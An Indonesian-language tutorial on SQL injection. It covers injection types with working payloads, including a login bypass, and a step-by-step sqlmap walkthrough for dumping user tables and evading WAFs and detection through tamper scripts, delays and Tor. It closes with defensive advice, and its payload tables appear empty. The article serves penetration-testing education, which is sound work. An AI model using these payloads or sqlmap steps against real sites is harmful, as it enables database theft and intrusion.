SQL Injection adalah salah satu celah keamanan web paling berbahaya yang masih sering ditemui hingga saat ini. Bayangkan seorang penyerang memasukkan kode SQL berbahaya ke dalam formulir login situs, dan tiba-tiba mereka dapat mengakses data pengguna secara bebas. Dalam artikel ini kita akan mengupas tuntas SQLi — mulai dari contoh payload umum hingga praktek penggunaan sqlmap, tool otomatisasi eksploitasi SQLi yang banyak dipakai pentester. Artikel ini bersifat edukatif; selalu uji pada lingkungan lab yang legal (misalnya DVWA atau bWAPP) dan hindari penyalahgunaan di sistem nyata.
Apa itu SQL Injection?
SQL Injection (SQLi) adalah teknik menyisipkan perintah SQL berbahaya ke dalam input aplikasi web, sehingga aplikasi tersebut mengeksekusi perintah tersebut pada database. Dampaknya bisa serius: penyerang bisa membaca, mengubah, atau menghapus data sensitif seolah-olah ia memiliki akses administrator. OWASP menjelaskan bahwa SQLi memungkinkan penyerang "mengganggu query yang dibuat aplikasi ke databasenya" sehingga data tersembunyi bisa bocor. Misalnya, jika aplikasi membangun query tanpa validasi, penyisipan OR 1=1 dalam parameter bisa membuat query selalu "benar" dan mengembalikan semua data.
Jenis-Jenis SQL Injection
Ada berbagai teknik SQLi berdasarkan bagaimana data dieksfiltrasi:
- in-band (Classic) — Data keluar melalui jalur yang sama dengan input. Contoh utama: union-based (
UNION SELECT) dan error-based. Pada union-based, penyerang menambahkan payloadUNION SELECTuntuk gabungkan hasil tabel lain ke query asli. Misal:
http://example.com/item?id=1' UNION SELECT username,password FROM users --menyebabkan aplikasi menampilkan user/password dari tabel users
- Error-based — Penyerang memicu error database untuk mendapatkan informasi. Misalnya:
id=1 AND 1=CONVERT(int,(SELECT @@version))--Jika query ini memicu pesan error, pesan tersebut bisa memuat informasi versi database atau struktur tabel. Strategi ini memanfaatkan error message sebagai "bocoran" data.
- Inferential (Blind) SQLi — Tidak ada data langsung tampil. Penyerang mengirimkan query true/false atau time delay dan mengamati respon untuk menebak data:
- Boolean-based blind — memasukkan kondisi yang bernilai true (
AND 1=1) atau false (AND 1=2) dan membandingkan perbedaan pada respons aplikasi. Misalnya:
http://example.com/item?id=1 AND 1=1-- (normal)
http://example.com/item?id=1 AND 1=2-- (berbeda)Dari perbedaan inilah isi database ditebak langkah demi langkah
- Time-based blind — menggunakan fungsi delay (misalnya
SLEEP(5)) dalam query. Jika respon aplikasi tertunda, berarti kondisi tertentu terpenuhi. Contoh:
id=1 AND SLEEP(5) --Out-of-Band (OOB) SQLi — Data dieksfiltrasi lewat saluran non-standar (misal DNS atau HTTP request ke server penyerang). Ini hanya bisa jika database bisa melakukan koneksi keluar (contoh: memuat file via LOAD_FILE() atau xp_cmdshell). Teknik OOB jarang, tapi berguna jika aplikasi tidak menampilkan error atau delay.
Secara ringkas, SQLi selalu mengubah logika query. Sebagai contoh, OWASP menampilkan payload klasik untuk bypass login:
' OR '1'='1'--Payload ini membuat kondisi selalu true sehingga pengecekan login terlewati
Contoh Payload Umum SQLi
Berikut beberapa payload SQLi yang sering dipakai (menurut cheat sheet terkemuka), dikelompokkan berdasarkan tujuannya:

Setiap payload di atas harus disesuaikan dengan jenis database (MySQL, MSSQL, PostgreSQL, dll). Misalnya di MySQL sering digunakan -- sebagai komentar, sedangkan di SQL Server bisa pakai -- juga. Mengidentifikasi dulu DBMS target akan mempermudah pemilihan payload.
Tutorial Praktis: Menggunakan sqlmap
Sqlmap adalah tool open-source untuk mengotomasi eksploitasi SQLi. Sqlmap memudahkan pentester memeriksa berbagai macam teknik SQLi tanpa harus menulis payload manual satu-per-satu. Di bawah ini adalah panduan langkah demi langkah penggunaan sqlmap:
Instalasi sqlmap
Sqlmap sudah tersedia di banyak distro pentesting (misalnya Kali Linux). Di Debian/Ubuntu, dapat diinstal dengan:
sudo apt-get update
sudo apt-get install sqlmapAtau lewat pip:
pip install sqlmapSetelah terinstal, perintah sqlmap seharusnya bisa dijalankan.
Deteksi & Payload Otomatis
Pertama, tentukan target rentan. Misal ada URL: http://vulnerable.com/item.php?id=1. Cukup berikan url tersebut ke sqlmap:
sqlmap -u "http://vulnerable.com/item.php?id=1" --batchOpsi --batch membuat sqlmap tidak menunggu konfirmasi dan menggunakan default. Sqlmap akan menguji parameter id, mencoba berbagai payload, dan melaporkan jika rentan. Contoh keluaran yang mungkin muncul:
[INFO] the back-end DBMS is MySQL
[INFO] fetching database names
available databases [3]:
[*] information_schema
[*] mysql
[*] testdbAutentikasi dan Form Login
Jika aplikasi menggunakan login form, sqlmap bisa mengotomasi login dengan opsi --forms dan cookie. Misalnya:
sqlmap -u "http://site.com/login.php" --forms --cookie="PHPSESSID=abcdef123456" --batchOpsi --forms membuat sqlmap mencari form HTML, dan kita bisa memasukkan username=admin&password=...' ke bagian POST. Jika login butuh autentikasi HTTP Basic, gunakan --auth-type=Basic --auth-cred=user:pass.
Enumerasi Database, Tabel, dan Kolom
Setelah menemukan vulnerability, kita dapat mengekstrak struktur database. Contoh menggunakan MySQL:
- Daftar Database
sqlmap -u "http://vulnerable.com/item.php?id=1" --dbs --batchKeluaran tipikal:
[INFO] the back-end DBMS is MySQL
[INFO] fetching database names
available databases [3]:
[*] information_schema
[*] mysql
[*] testdb2. Daftar Tabel
Pilih satu database (misal testdb):
sqlmap -u "http://vulnerable.com/item.php?id=1" -D testdb --tables --batchContoh keluaran:
[INFO] fetching tables for database: testdb
[INFO] table 'users'
[INFO] table 'products'3. Daftar Kolom
sqlmap -u "http://vulnerable.com/item.php?id=1" -D testdb -T users --columns --batch4. Dump Data
sqlmap -u "http://vulnerable.com/item.php?id=1" -D testdb -T users -C id,username,password --dump --batchSqlmap akan menampilkan isi kolom id, username, password dari tabel users. Contoh output:
[INFO] fetching entries for table 'users'
Database: testdb
Table: users
[+]-----------------------------------------------------------------+
| id | username | password |
+-----------------------------------------------------------------+
| 1 | admin | e99a18c428cb38d5f260853678922e03 |
| 2 | guest | 5f4dcc3b5aa765d61d8327deb882cf99 |
+-----------------------------------------------------------------+Nilai password di atas kemungkinan merupakan hash MD5 (hanya contoh).
Penyesuaian Laju & Evasion
- Delay: Jika aplikasi terlalu cepat, tambahkan jeda antar-request agar tidak terdeteksi sebagai bot:
sqlmap -u "..." --delay=2- Random User-Agent: Gunakan
--random-agentuntuk mengacak header browser dan menghindari deteksi awal. - Tamper Scripts: Untuk menembus WAF yang mendeteksi kata kunci, sqlmap menyediakan tamper scripts. Contohnya,
space2comment.pymengganti spasi dengan komentar SQL, ataurandomcase.pymengacak huruf besar/kecil. Contoh penggunaan:
sqlmap -u "..." --tamper=space2comment,randomcaseSkrip ini dapat membantu melewati filter sederhana. (Daftar lengkap skrip ada di direktori tamper/ sqlmap.)
- Limit Thread: Jika server rentan overload, turunkan
--threads. - Proxy/Tor: Gunakan
--proxy=http://127.0.0.1:8080atau--toruntuk melewati pembatasan jaringan.
Tabel Payload dan Contoh sqlmap Flags


Kesimpulan
SQL Injection tetap menjadi ancaman serius karena mudah ditemukan dan berpotensi merugikan. Dengan mengetahui jenis-jenis serangan, payload umum, dan tool seperti sqlmap, seorang pentester pemula dapat mulai bereksperimen dengan aman di lab. Namun ingatlah selalu prinsip etika: uji di lingkungan yang legal dan laporkan setiap kelemahan pada pemilik sistem.
Untuk menjaga keamanan aplikasi, developer wajib menerapkan prepared statements, validasi input ketat, dan menerapkan prinsip least privilege. Implementasikan juga WAF sebagai lapisan tambahan. Dengan begitu, aksi injeksi SQL akan sulit menembus pertahanan aplikasi
Sumber: Artikel ini disusun berdasarkan sumber tepercaya seperti dokumentasi OWASP, cheat sheet SQLi Invicti, panduan sqlmap resmi, serta berbagai blog dan referensi keamanan terkini